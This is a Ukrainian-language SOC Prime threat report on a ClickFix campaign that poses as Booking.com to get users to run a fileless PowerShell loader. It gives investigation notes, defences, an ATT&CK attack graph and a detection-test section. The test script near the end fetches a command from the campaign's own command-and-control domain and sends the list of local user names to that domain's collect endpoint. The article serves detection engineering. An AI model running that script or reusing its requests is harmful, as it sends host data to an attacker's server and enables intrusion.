SOC Prime Bias: Проміжний

24 Apr 2026 13:26 UTC

Аналіз повного ланцюга атаки ClickFix (частина 1)

Author Photo
SOC Prime Team linkedin icon Стежити
Аналіз повного ланцюга атаки ClickFix (частина 1)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

У звіті описується кампанія ClickFix, в якій зловмисний вебсайт видає себе за Booking.com, щоб переконати користувачів копіювати та виконувати команду PowerShell. Після запуску команда стартує безфайловий скрипт PowerShell, що завантажує ZIP-архів другої стадії. Завантажувач збирає інформацію про хост, записує корисне навантаження в тимчасову директорію та створює персистентність через ключ реєстру Run і заплановане завдання. Повний ланцюжок зараження покладається на переконливий вебконтент і виконання, ініційоване користувачем, а не на явну експлуатацію.

Розслідування

Аналітики Stormshield перехопили JavaScript, відповідальний за отримання команди PowerShell з домену командного і керуючого центру і поміщення її в буфер обміну користувача. Вони також проаналізували завантажувач PowerShell, який збирав детальну системну інформацію через запити WMI та змінні середовища, перш ніж реєструвати дані через запит GET. Той самий завантажувач потім завантажував ZIP-архів з другого домену, витягував його вміст і налаштовував постійність на скомпрометованому хості. Дослідники зіставили спостережувані поведінки та техніки з їх відповідними ідентифікаторами MITRE ATT&CK.

Захисні заходи

Організації повинні блокувати зловмисні домени та URL-адреси, пов’язані з кампанією ClickFix, і застосовувати строгий вебфільтр для зменшення ризику потрапляння на фішингові цільові сторінки. Захисники мають моніторити виконання PowerShell з параметрами -ExecutionPolicy Bypass та налаштуваннями прихованих вікон, одночасно обмежуючи виконання непідписаних скриптів PowerShell через контроль застосунку. Додаткові виявлення повинні зосередитися на створенні підозрілих ключів реєстру Run та запланованих завдань з незнайомими іменами.

Відповідь

Команди безпеки повинні оповіщати про вихідний трафік до виявлених доменів командного і керуючого центру та про командні лінії PowerShell, що використовують Invoke-Expression для виконання віддалено отриманого вмісту. Логіка виявлення також повинна охоплювати створення конкретного значення ключа реєстру Run та імені запланованого завдання, пов’язаного з кампанією. Якщо діяльність підтверджується, негайно ізолюйте кінцевий пункт, зберіть леткі докази та проведіть судово-медичний огляд тимчасових файлів і завантаженого ZIP-корисного навантаження.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffeb99 classDef tool fill:#ccffcc classDef process fill:#ffcccc classDef persistence fill:#ddddff %% Nodes action_initial["<b>Дія</b> – Початковий доступ: Зловмисна вебсторінка для копіювання-вставки"] tech_user_exec["<b>Техніка</b> – T1204.004 Виконання користувачем: Зловмисне копіювання і вставка"] process_ps["<b>Процес</b> – Команда PowerShell, скопійована в буфер обміну"] tech_ps["<b>Техніка</b> – T1059.001 PowerShell"] tech_process_inject["<b>Техніка</b> – T1055.011 Ін’єкція процесу"] action_discovery["<b>Дія</b> – Виявлення системи"] tech_account_discovery["<b>Техніка</b> – T1087 Виявлення облікових записів"] tech_security_sw["<b>Техніка</b> – T1518.001 Виявлення програмного забезпечення безпеки"] tech_time_discovery["<b>Техніка</b> – T1124 Виявлення системного часу"] action_c2["<b>Дія</b> – Команда і контроль"] tech_http_c2["<b>Техніка</b> – T1071.001 Веб-протоколи (HTTP)"] action_download["<b>Дія</b> – Завантаження корисного навантаження"] tech_ingress["<b>Техніка</b> – T1105 Передача інструментів"] action_deploy["<b>Дія</b> – Розгортання корисного навантаження (вилучення ZIP)"] action_persistence["<b>Дія</b> – Встановлення персистентності"] tech_registry_run["<b>Техніка</b> – T1547.001 Ключі реєстру Run / Папка автозапуску"] tech_scheduled_task["<b>Техніка</b> – T1053.005 Заплановане завдання/Робота: При вході"] action_final["<b>Дія</b> – Кінцеве виконання корисного навантаження"] process_payload["<b>Процес</b> – Витягнутий виконуваний файл чи пакетний файл"] %% З’єднання action_initial –>|запускає| tech_user_exec tech_user_exec –>|веде до| process_ps process_ps –>|виконує| tech_ps tech_ps –>|може виконувати| tech_process_inject tech_process_inject –>|дозволяє| action_discovery action_discovery –>|використовує| tech_account_discovery action_discovery –>|використовує| tech_security_sw action_discovery –>|використовує| tech_time_discovery action_discovery –>|відправляє дані| action_c2 action_c2 –>|використовує| tech_http_c2 action_c2 –>|запускає| action_download action_download –>|використовує| tech_ingress action_download –>|зберігає файл у| action_deploy action_deploy –>|створює| action_persistence action_persistence –>|використовує| tech_registry_run action_persistence –>|резервний варіант| tech_scheduled_task action_persistence –>|дозволяє| action_final action_final –>|запускає| process_payload %% Призначення класу class action_initial action class tech_user_exec technique class process_ps process class tech_ps technique class tech_process_inject technique class action_discovery action class tech_account_discovery technique class tech_security_sw technique class tech_time_discovery technique class action_c2 action class tech_http_c2 technique class action_download action class tech_ingress technique class action_deploy action class action_persistence action class tech_registry_run technique class tech_scheduled_task technique class action_final action class process_payload process "

Потік атаки

Виконання симуляції

Передумова: Перевірка телеметрії та базової лінії має бути пройденою.

Мотивація: У цьому розділі детально описується точне виконання техніки противників (TTP), розробленої для запуску правила виявлення. Команди та розповідь МАЮТЬ безпосередньо відповідати виявленим TTP та бути спрямованими на генерування точного виду телеметрії, очікуваного логікою виявлення.

  • Опис атаки та команди:
    Зловмисник, отримавши можливість доступу до скомпрометованої внутрішньої робочої станції, виконує однолінійну команду PowerShell, яка контактує з URL-адресою керуючого центру ClickFix за допомогою ?get_command=1 параметра через POST-запит HTTP. Сервер повертає корисне навантаження PowerShell, що перераховує локальні облікові записи користувачів (T1087), перевіряє системний час (T1124), виявляє встановлені програми безпеки (T1518.001), а потім копіює вихідні дані у буфер обміну. Вміст буфера обміну згодом відправляється назад на сервер ClickFix для ексфільтрації, виконуючи T1204.004 і T1547.001. Цей точний шаблон трафіку відповідає правилу Sigma request_uri|contains: "?get_command=1" and http_method: POST умови.

  • Сценарій регресійного тестування:

    # Імітація отримання команди ClickFix – запускає правило Sigma
    $url = "https://accountpulsecentre.help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1"
    $payload = @{
        dummy = "data"
    }
    
    # Відправити зловмисний POST-запит
    $response = Invoke-WebRequest -Uri $url -Method POST -Body ($payload | ConvertTo-Json) -ContentType "application/json"
    
    # Імітація виконання отриманої команди PowerShell (спрощено)
    $psCommand = $response.Content
    Write-Output "Отримана команда: $psCommand"
    
    # Для демонстрації, виконайте безпечний піднабір (напр., отримання локальних користувачів) і скопіюйте в буфер обміну
    $users = Get-LocalUser | Select-Object -ExpandProperty Name
    $usersString = $users -join "`n"
    Set-Clipboard -Value $usersString
    
    # Ексфільтруйте вміст буфера обміну назад на сервер ClickFix ( імітовано)
    $exfilUrl = "https://accountpulsecentre.help/collect"
    Invoke-WebRequest -Uri $exfilUrl -Method POST -Body @{clipboard=$usersString} -ContentType "application/x-www-form-urlencoded"
  • Команди очищення:

    # Видаліть будь-які тимчасові файли або артефакти, створені під час тестування
    Clear-Clipboard
    Write-Output "Очищення завершено – буфер обміну очищений."